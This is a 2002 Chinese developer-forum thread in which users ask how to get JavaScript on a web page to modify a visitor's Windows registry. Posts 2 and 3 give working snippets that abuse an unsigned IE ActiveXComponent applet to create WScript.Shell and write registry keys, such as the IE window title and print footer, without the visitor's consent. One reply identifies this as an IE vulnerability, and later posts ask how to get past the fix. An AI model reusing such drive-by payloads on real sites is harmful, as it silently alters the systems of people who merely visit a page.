Win2000下用js修改注册表,win98的代码放在Win2000下不能用,谢谢了
问题点数:20、回复次数:6Top
1 楼vincentmax(天地任逍遥)回复于 2002-01-09 18:41:06 得分 0
????
这就是你的问题?
怎么我看不懂啊?Top
2 楼Computer_lover(水中鱼)回复于 2002-01-09 18:46:58 得分 0
怎样使这段代码Win2000下可用
ap=document.applets[0];
ap.setCLSID("WScript.Shell");
ap.createInstance();
S=ap.GetObject();
regWindowTitle="HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title";
Top
3 楼shenleav(午枫)回复于 2002-01-09 20:03:55 得分 0
Computer_lover:
您好,问一个问题...
为什么我的机器运行到ap=document.applets[0]就会报错呢?说对象不支持这种属性或方法!
下面是我的代码:
<SCRIPT language=JavaScript>
document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveXComponent> ");
function f(){
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\PageSetup\\footer", "com");
}
f();
</script>
请不吝赐教!!
email:
shenleave@163.netTop
4 楼bestext(木头)回复于 2002-01-10 02:00:09 得分 20
你的代码是利用IE的漏洞而修改注册表
你一定引用了一个com.ms.activeX.ActiveXComponent这样的applet
这个控件本来应该在签名的applet中使用,而不应该直接在网页引用
但是早期的IE版本忽略了这点
可能是你在win2000下使用了新的IE,与操作系统无关Top
5 楼Computer_lover(水中鱼)回复于 2002-01-10 08:09:39 得分 0
to bestext:
那应该怎么做呢Top
6 楼shenleav(午枫)回复于 2002-01-10 09:52:04 得分 0
com.ms.activeX.ActiveXComponent这样的applet是ie自带的?ie5.0通过了这段代码...
多少版本以后才堵上了这个漏洞呢?Top




